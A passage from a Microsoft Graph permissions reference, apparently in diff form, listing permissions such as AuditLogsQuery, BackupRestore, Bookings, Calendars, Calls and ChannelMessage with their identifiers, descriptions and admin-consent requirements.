+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AuditLogsQuery-CRM.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+20e6f8e4-ffac-4cf7-82f7-70ddb7564318 |
+ba78b16f-1e01-41b6-89ca-73e0a32b304c |
+
+
+| DisplayText |
+Read audit logs data from Dynamics CRM workload |
+Read audit logs data from Dynamics CRM workload |
+
+
+| Description |
+Allows the app to read and query audit logs from Dynamics CRM workload, without a signed-in user |
+Allows the app to read and query audit logs from Dynamics CRM workload, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AuditLogsQuery-Endpoint.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0bc85aed-7b0b-437a-bac8-3b29a1b84c99 |
+ee3409fe-617f-43cf-bd1e-fc8b38049e69 |
+
+
+| DisplayText |
+Read audit logs data from Endpoint Data Loss Prevention workload |
+Read audit logs data from Endpoint Data Loss Prevention workload |
+
+
+| Description |
+Allows the app to read and query audit logs from Endpoint Data Loss Prevention workload, without a signed-in user |
+Allows the app to read and query audit logs from Endpoint Data Loss Prevention workload, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AuditLogsQuery-Entra.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7276d950-48fc-4269-8348-f22f2bb296d0 |
+5ff2f415-e0f1-4d11-bfd0-6d87c0f667fd |
+
+
+| DisplayText |
+Read audit logs data from Entra (Azure AD) workload |
+Read audit logs data from Entra (Azure AD) workload |
+
+
+| Description |
+Allows the app to read and query audit logs from Entra (Azure AD) workload, without a signed-in user |
+Allows the app to read and query audit logs from Entra (Azure AD) workload, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AuditLogsQuery-Exchange.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6b0d2622-d34e-4470-935b-b96550e5ca8d |
+6c8c71d2-c7e1-45b0-ac6d-1d2724fba6ae |
+
+
+| DisplayText |
+Read audit logs data from Exchange workload |
+Read audit logs data from Exchange workload |
+
+
+| Description |
+Allows the app to read and query audit logs from Exchange workload, without a signed-in user |
+Allows the app to read and query audit logs from Exchange workload, on behalf of a signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AuditLogsQuery-OneDrive.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8a169a81-841c-45fd-ad43-96aede8801a0 |
+4a72c235-a50d-4870-b598-fd88fd1fa074 |
+
+
+| DisplayText |
+Read audit logs data from OneDrive workload |
+Read audit logs data from OneDrive workload |
+
+
+| Description |
+Allows the app to read and query audit logs from OneDrive workload, without a signed-in user |
+Allows the app to read and query audit logs from OneDrive workload, on behalf of a signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AuditLogsQuery-SharePoint.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+91c64a47-a524-4fce-9bf3-3d569a344ecf |
+30630b65-ed12-4a81-9130-e3a964109fae |
+
+
+| DisplayText |
+Read audit logs data from SharePoint workload |
+Read audit logs data from SharePoint workload |
+
+
+| Description |
+Allows the app to read and query audit logs from SharePoint workload, without a signed-in user |
+Allows the app to read and query audit logs from SharePoint workload, on behalf of a signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AuthenticationContext.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+381f742f-e1f8-4309-b4ab-e3d91ae4c5c1 |
+57b030f1-8c35-469c-b0d9-e4a077debe70 |
+
+
+| DisplayText |
+Read all authentication context information |
+Read all authentication context information |
+
+
+| Description |
+Allows the app to read the authentication context information in your organization without a signed-in user. |
+Allows the app to read all authentication context information in your organization on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AuthenticationContext.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a88eef72-fed0-4bf7-a2a9-f19df33f8b83 |
+ba6d575a-1344-4516-b777-1404f5593057 |
+
+
+| DisplayText |
+Read and write all authentication context information |
+Read and write all authentication context information |
+
+
+| Description |
+Allows the app to read and update the authentication context information in your organization without a signed-in user. |
+Allows the app to read and update all authentication context information in your organization on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BackupRestore-Configuration.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5fbb5982-3230-4882-93c0-2167523ce0c2 |
+444ed4b6-0554-4dc6-8e9c-3f9a34ee3ff6 |
+
+
+| DisplayText |
+Read all backup configuration policies |
+Read backup configuration policies |
+
+
+| Description |
+Allows the app to read all backup configurations, and lists of Microsoft 365 service resources to be backed up, without a signed-in user. |
+Allows the app to read the backup configuration, and list of Microsoft 365 service resources to be backed up, on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BackupRestore-Configuration.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+18133149-5489-40ac-80f0-4b6fa85f6cdc |
+a0244d16-171c-4496-8ffb-7b9b6954d339 |
+
+
+| DisplayText |
+Read and edit all backup configuration policies |
+Read and edit backup configuration policies |
+
+
+| Description |
+Allows the app to read and update the backup configuration, and list of Microsoft 365 service resources to be backed up, without a signed-in user. |
+Allows the app to read and update the backup configuration, and list of Microsoft 365 service resources to be backed up, on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BackupRestore-Monitor.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ecae8511-f2d7-4be4-bdbf-91f244d45986 |
+b4e98de1-4600-4e90-b5e1-7c1dfef04e5c |
+
+
+| DisplayText |
+Read all monitoring, quota and billing information for the tenant |
+Read monitoring, quota and billing information for the tenant |
+
+
+| Description |
+Allows the app to monitor all backup and restore jobs, view quota usage and billing details, without a signed-in user. |
+Allows the app to monitor backup and restore jobs, view quota usage and billing details, on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BackupRestore-Restore.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+87853aa5-0372-4710-b34b-cef27bb7156e |
+94b36f78-434f-4904-8c08-421d9a9c1dc2 |
+
+
+| DisplayText |
+Read all restore sessions |
+Read restore sessions |
+
+
+| Description |
+Allows the app to read all restore sessions, without a signed-in user. |
+Allows the app to read restore sessions, on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BackupRestore-Restore.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bebd0841-a3d8-4313-a51d-731112c8ee41 |
+9f89e109-94b9-4c9b-b4fc-98cdaa54f574 |
+
+
+| DisplayText |
+Read restore all sessions and start restore sessions from backups |
+Read restore sessions and start restore sessions from backups |
+
+
+| Description |
+Allows the app to search all backup snapshots for Microsoft 365 resources, and restore Microsoft 365 resources from a backed-up snapshot, without a signed-in user. |
+Allows the app to search the backup snapshots for Microsoft 365 resources, and restore Microsoft 365 resources from a backed-up snapshot, on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BackupRestore-Search.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f6135c51-c766-4be1-9638-ed90c2ed2443 |
+2b24830f-f435-446f-ab5a-b1e70d9a2eb5 |
+
+
+| DisplayText |
+Search for metadata properties in all backup snapshots |
+Search for metadata properties in backup snapshots |
+
+
+| Description |
+Allows the app to search all backup snapshots for Microsoft 365 resources, without a signed-in user. |
+Allows the app to search the backup snapshots for Microsoft 365 resources, on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BillingConfiguration.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9e8be751-7eee-4c09-bcfd-d64f6b087fd8 |
+2bf6d319-dfca-4c22-9879-f88dcfaee6be |
+
+
+| DisplayText |
+Read and write application billing configuration |
+Read and write application billing configuration |
+
+
+| Description |
+Allows the app to read and write the billing configuration on all applications without a signed-in user. |
+Allows the app to read and write the billing configuration on all applications on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BitlockerKey.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+b27a61ec-b99c-4d6a-b126-c4375d08ae30 |
+
+
+| DisplayText |
+- |
+Read BitLocker keys |
+
+
+| Description |
+- |
+Allows the app to read BitLocker keys on behalf of the signed-in user, for their owned devices. Allows read of the recovery key. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+BitlockerKey.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+5a107bfc-4f00-4e1a-b67e-66451267bc68 |
+
+
+| DisplayText |
+- |
+Read BitLocker keys basic information |
+
+
+| Description |
+- |
+Allows the app to read basic BitLocker key properties on behalf of the signed-in user, for their owned devices. Does not allow read of the recovery key itself. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Bookings.Manage.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+7f36b48e-542f-4d3b-9bcb-8406f0ab9fdb |
+
+
+| DisplayText |
+- |
+Manage bookings information |
+
+
+| Description |
+- |
+Allows an app to read, write and manage bookings appointments, businesses, customers, services, and staff on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Bookings.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6e98f277-b046-4193-a4f2-6bf6a78cd491 |
+33b1df99-4b29-4548-9339-7a7b83eaeebc |
+
+
+| DisplayText |
+Read all Bookings related resources. |
+Read bookings information |
+
+
+| Description |
+Allows an app to read Bookings appointments, businesses, customers, services, and staff without a signed-in user. |
+Allows an app to read bookings appointments, businesses, customers, services, and staff on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+Bookings.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+948eb538-f19d-4ec5-9ccc-f059e1ea4c72 |
+
+
+| DisplayText |
+- |
+Read and write bookings information |
+
+
+| Description |
+- |
+Allows an app to read and write bookings appointments, businesses, customers, services, and staff on behalf of the signed-in user. Does not allow create, delete and publish of booking businesses. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+BookingsAppointment.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9769393e-5a9f-4302-9e3d-7e018ecb64a7 |
+02a5a114-36a6-46ff-a102-954d89d9ab02 |
+
+
+| DisplayText |
+Read and write all Bookings related resources. |
+Read and write booking appointments |
+
+
+| Description |
+Allows an app to read and write Bookings appointments and customers, and additionally allows reading businesses, services, and staff without a signed-in user. |
+Allows an app to read and write bookings appointments and customers, and additionally allows read businesses information, services, and staff on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+Bookmark.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+be95e614-8ef3-49eb-8464-1c9503433b86 |
+98b17b35-f3b1-4849-a85f-9f13733002f0 |
+
+
+| DisplayText |
+Read all bookmarks |
+Read all bookmarks that the user can access |
+
+
+| Description |
+Allows an app to read all bookmarks without a signed-in user. |
+Allows an app to read all bookmarks that the signed-in user can access. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+BrowserSiteLists.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c5ee1f21-fc7f-4937-9af0-c91648ff9597 |
+fb9be2b7-a7fc-4182-aec1-eda4597c43d5 |
+
+
+| DisplayText |
+Read all browser site lists for your organization |
+Read browser site lists for your organization |
+
+
+| Description |
+Allows an app to read all browser site lists configured for your organization, without a signed-in user. |
+Allows an app to read the browser site lists configured for your organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+BrowserSiteLists.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8349ca94-3061-44d5-9bfb-33774ea5e4f9 |
+83b34c85-95bf-497b-a04e-b58eca9d49d0 |
+
+
+| DisplayText |
+Read and write all browser site lists for your organization |
+Read and write browser site lists for your organization |
+
+
+| Description |
+Allows an app to read and write all browser site lists configured for your organization, without a signed-in user. |
+Allows an app to read and write the browser site lists configured for your organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+BusinessScenarioConfig.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+d16480b2-e469-4118-846b-d3d177327bee |
+
+
+| DisplayText |
+- |
+Read business scenario configurations |
+
+
+| Description |
+- |
+Allows the app to read the configurations of your organization's business scenarios, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+BusinessScenarioConfig.Read.OwnedBy
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+acc0fc4d-2cd6-4194-8700-1768d8423d86 |
+c47e7b6e-d6f1-4be9-9ffd-1e00f3e32892 |
+
+
+| DisplayText |
+Read all business scenario configurations this app creates or owns |
+Read business scenario configurations this app creates or owns |
+
+
+| Description |
+Allows the app to read the configurations of business scenarios it owns, without a signed-in user. |
+Allows the app to read the configurations of business scenarios it owns, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BusinessScenarioConfig.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+755e785b-b658-446f-bb22-5a46abd029ea |
+
+
+| DisplayText |
+- |
+Read and write business scenario configurations |
+
+
+| Description |
+- |
+Allows the app to read and write the configurations of your organization's business scenarios, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+BusinessScenarioConfig.ReadWrite.OwnedBy
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bbea195a-4c47-4a4f-bff2-cba399e11698 |
+b3b7fcff-b4d4-4230-bf6f-90bd91285395 |
+
+
+| DisplayText |
+Read and write all business scenario configurations this app creates or owns |
+Read and write business scenario configurations this app creates or owns |
+
+
+| Description |
+Allows the app to create new business scenarios and fully manage the configurations of scenarios it owns, without a signed-in user. |
+Allows the app to create new business scenarios and fully manage the configurations of scenarios it owns, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BusinessScenarioData.Read.OwnedBy
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6c0257fd-cffe-415b-8239-2d0d70fdaa9c |
+25b265c4-5d34-4e44-952d-b567f6d3b96d |
+
+
+| DisplayText |
+Read data for all business scenarios this app creates or owns |
+Read all data for business scenarios this app creates or owns |
+
+
+| Description |
+Allows the app to read the data associated with the business scenarios it owns, without a signed-in user. |
+Allows the app to read all data associated with the business scenarios it owns. Data access will be attributed to the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+BusinessScenarioData.ReadWrite.OwnedBy
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f2d21f22-5d80-499e-91cc-0a8a4ce16f54 |
+19932d57-2952-4c60-8634-3655c79fc527 |
+
+
+| DisplayText |
+Read and write data for all business scenarios this app creates or owns |
+Read and write all data for business scenarios this app creates or owns |
+
+
+| Description |
+Allows the app to fully manage the data associated with the business scenarios it owns, without a signed-in user. |
+Allows the app to fully manage all data associated with the business scenarios it owns. Data access and changes will be attributed to the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Calendars.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+798ee544-9d2d-430c-a058-570e29e34338 |
+465a38f9-76ea-45b9-9f34-9e8b0d4b0b42 |
+
+
+| DisplayText |
+Read calendars in all mailboxes |
+Read user calendars |
+
+
+| Description |
+Allows the app to read events of all calendars without a signed-in user. |
+Allows the app to read events in user calendars. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Calendars.Read delegated permission is available for consent in personal Microsoft accounts.
+
+Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Calendars.Read application permission.
+
+Calendars.Read.Shared
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+2b9c4092-424d-4249-948d-b43879977640 |
+
+
+| DisplayText |
+- |
+Read user and shared calendars |
+
+
+| Description |
+- |
+Allows the app to read events in all calendars that the user can access, including delegate and shared calendars. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Calendars.Read.Shared delegated permission is available for consent in personal Microsoft accounts.
+
+Calendars.ReadBasic
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+662d75ba-a364-42ad-adee-f5f880ea4878 |
+
+
+| DisplayText |
+- |
+Read basic details of user calendars |
+
+
+| Description |
+- |
+Allows the app to read events in user calendars, except for properties such as body, attachments, and extensions. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Calendars.ReadBasic delegated permission is available for consent in personal Microsoft accounts.
+
+Calendars.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8ba4a692-bc31-4128-9094-475872af8a53 |
+- |
+
+
+| DisplayText |
+Read basic details of calendars in all mailboxes |
+- |
+
+
+| Description |
+Allows the app to read events of all calendars, except for properties such as body, attachments, and extensions, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Calendars.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ef54d2bf-783f-4e0f-bca1-3210c0444d99 |
+1ec239c2-d7c9-4623-a91a-a9775856bb36 |
+
+
+| DisplayText |
+Read and write calendars in all mailboxes |
+Have full access to user calendars |
+
+
+| Description |
+Allows the app to create, read, update, and delete events of all calendars without a signed-in user. |
+Allows the app to create, read, update, and delete events in user calendars. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Calendars.ReadWrite delegated permission is available for consent in personal Microsoft accounts.
+
+Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Calendars.ReadWrite application permission.
+
+Calendars.ReadWrite.Shared
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+12466101-c9b8-439a-8589-dd09ee67e8e9 |
+
+
+| DisplayText |
+- |
+Read and write user and shared calendars |
+
+
+| Description |
+- |
+Allows the app to create, read, update and delete events in all calendars in the organization user has permissions to access. This includes delegate and shared calendars. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+CallEvents.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+43431c03-960e-400f-87c6-8f910321dca3 |
+
+
+| DisplayText |
+- |
+Read call event data |
+
+
+| Description |
+- |
+Allows the app to read call event information for an organization for the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+CallEvents.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1abb026f-7572-49f6-9ddd-ad61cbba181e |
+- |
+
+
+| DisplayText |
+Read all call events |
+- |
+
+
+| Description |
+Allows the app to read call event information for all users in your organization, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+CallRecord-PstnCalls.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a2611786-80b3-417e-adaa-707d4261a5f0 |
+- |
+
+
+| DisplayText |
+Read PSTN and direct routing call log data |
+- |
+
+
+| Description |
+Allows the app to read all PSTN and direct routing call log data without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+The CallRecord-PstnCalls.Read.All permission grants an application access to PSTN (calling plans) and direct routing call logs. This includes potentially sensitive information about users as well as calls to and from external phone numbers.
+
+
Important
+
+- Discretion should be used when granting these permissions to applications. Call records can provide insights into the operation of your business, and so can be a target for malicious actors. Only grant these permissions to applications you trust to meet your data protection requirements.
+- Make sure that you are compliant with the laws and regulations in your area regarding data protection and confidentiality of communications. Please see the Terms of Use and consult with your legal counsel for more information.
+
+
+
+CallRecords.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+45bbb07e-7321-4fd7-a8f6-3ff27e6a81c8 |
+- |
+
+
+| DisplayText |
+Read all call records |
+- |
+
+
+| Description |
+Allows the app to read call records for all calls and online meetings without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+The CallRecords.Read.All permission grants an application privileged access to callRecords for every call and online meeting within your organization, including calls to and from external phone numbers. This includes potentially sensitive details about who participated in the call, as well as technical information pertaining to these calls and meetings that can be used for network troubleshooting, such as IP addresses, device details, and other network information.
+
+
Important
+
+- Discretion should be used when granting these permissions to applications. Call records can provide insights into the operation of your business, and so can be a target for malicious actors. Only grant these permissions to applications you trust to meet your data protection requirements.
+- Make sure that you are compliant with the laws and regulations in your area regarding data protection and confidentiality of communications. Please see the Terms of Use and consult with your legal counsel for more information.
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a7a681dc-756e-4909-b988-f160edc6655f |
+- |
+
+
+| DisplayText |
+Access media streams in a call as an app |
+- |
+
+
+| Description |
+Allows the app to get direct access to media streams in a call, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Calls.Initiate.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+284383ee-7f6e-4e40-a2a8-e85dcb029101 |
+- |
+
+
+| DisplayText |
+Initiate outgoing 1 to 1 calls from the app |
+- |
+
+
+| Description |
+Allows the app to place outbound calls to a single user and transfer calls to users in your organization's directory, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Calls.InitiateGroupCall.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4c277553-8a09-487b-8023-29ee378d8324 |
+- |
+
+
+| DisplayText |
+Initiate outgoing group calls from the app |
+- |
+
+
+| Description |
+Allows the app to place outbound calls to multiple users and add participants to meetings in your organization, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Calls.JoinGroupCall.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f6b49018-60ab-4f81-83bd-22caeabfed2d |
+- |
+
+
+| DisplayText |
+Join group calls and meetings as an app |
+- |
+
+
+| Description |
+Allows the app to join group calls and scheduled meetings in your organization, without a signed-in user. Â The app will be joined with the privileges of a directory user to meetings in your organization. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Calls.JoinGroupCallAsGuest.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+fd7ccf6b-3d28-418b-9701-cd10f5cd2fd4 |
+- |
+
+
+| DisplayText |
+Join group calls and meetings as a guest |
+- |
+
+
+| Description |
+Allows the app to anonymously join group calls and scheduled meetings in your organization, without a signed-in user. Â The app will be joined as a guest to meetings in your organization. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Channel.Create
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f3a65bd4-b703-46df-8f7e-0174fea562aa |
+101147cf-4178-4455-9d58-02b5c164e759 |
+
+
+| DisplayText |
+Create channels |
+Create channels |
+
+
+| Description |
+Create channels in any team, without a signed-in user. |
+Create channels in any team, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Channel.Delete.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6a118a39-1227-45d4-af0c-ea7b40d210bc |
+cc83893a-e232-4723-b5af-bd0b01bcfe65 |
+
+
+| DisplayText |
+Delete channels |
+Delete channels |
+
+
+| Description |
+Delete channels in any team, without a signed-in user. |
+Delete channels in any team, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Channel.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+59a6b24b-4225-4393-8165-ebaec5f55d7a |
+9d8982ae-4365-4f57-95e9-d6032a4c0b87 |
+
+
+| DisplayText |
+Read the names and descriptions of all channels |
+Read the names and descriptions of channels |
+
+
+| Description |
+Read all channel names and channel descriptions, without a signed-in user. |
+Read channel names and channel descriptions, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+ChannelMember.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+3b55498e-47ec-484f-8136-9013221c06a9 |
+2eadaff8-0bce-4198-a6b9-2cfc35a30075 |
+
+
+| DisplayText |
+Read the members of all channels |
+Read the members of channels |
+
+
+| Description |
+Read the members of all channels, without a signed-in user. |
+Read the members of channels, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ChannelMember.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+35930dcf-aceb-4bd1-b99a-8ffed403c974 |
+0c3e411a-ce45-4cd1-8f30-f99a3efa7b11 |
+
+
+| DisplayText |
+Add and remove members from all channels |
+Add and remove members from channels |
+
+
+| Description |
+Add and remove members from all channels, without a signed-in user. Also allows changing a member's role, for example from owner to non-owner. |
+Add and remove members from channels, on behalf of the signed-in user. Also allows changing a member's role, for example from owner to non-owner. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ChannelMessage.Edit
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+2b61aa8a-6d36-4b2f-ac7b-f29867937c53 |
+
+
+| DisplayText |
+- |
+Edit user's channel messages |
+
+
+| Description |
+- |
+Allows an app to edit channel messages in Microsoft Teams, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+ChannelMessage.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7b2449af-6ccd-4f4d-9f78-e550c193f0d1 |
+767156cb-16ae-4d10-8f8b-41b657c8c8c8 |
+
+
+| DisplayText |
+Read all channel messages |
+Read user channel messages |
+
+
+| Description |
+Allows the app to read all channel messages in Microsoft Teams |
+Allows an app to read a channel's messages in Microsoft Teams, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ChannelMessage.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+5922d31f-46c8-4404-9eaf-2117e390a8a4 |
+
+
+| DisplayText |
+- |
+Read and write user channel messages |
+
+
+| Description |
+- |
+Allows the app to read and write channel messages, on behalf of the signed-in user. This doesn't allow the app to edit the policyViolation of a channel message. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+ChannelMessage.Send
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+ebf0f66e-9fb1-49e4-a278-222f76911cf4 |
+
+
+| DisplayText |
+- |
+Send channel messages |
+
+
+| Description |
+- |
+Allows an app to send channel messages in Microsoft Teams, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+ChannelMessage.UpdatePolicyViolation.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4d02b0cc-d90b-441f-8d82-4fb55c34d6bb |
+- |
+
+
+| DisplayText |
+Flag channel messages for violating policy |
+- |
+
+
+| Description |
+Allows the app to update Microsoft Teams channel messages by patching a set of Data Loss Prevention (DLP) policy violation properties to handle the output of DLP processing. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+ChannelSettings.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c97b873f-f59f-49aa-8a0e-52b32d762124 |
+233e0cf1-dd62-48bc-b65b-b38fe87fcf8e |
+
+
+| DisplayText |
+Read the names, descriptions, and settings of all channels |
+Read the names, descriptions, and settings of channels |
+
+
+| Description |
+Read all channel names, channel descriptions, and channel settings, without a signed-in user. |
+Read all channel names, channel descriptions, and channel settings, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ChannelSettings.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+243cded2-bd16-4fd6-a953-ff8177894c3d |
+d649fb7c-72b4-4eec-b2b4-b15acf79e378 |
+
+
+| DisplayText |
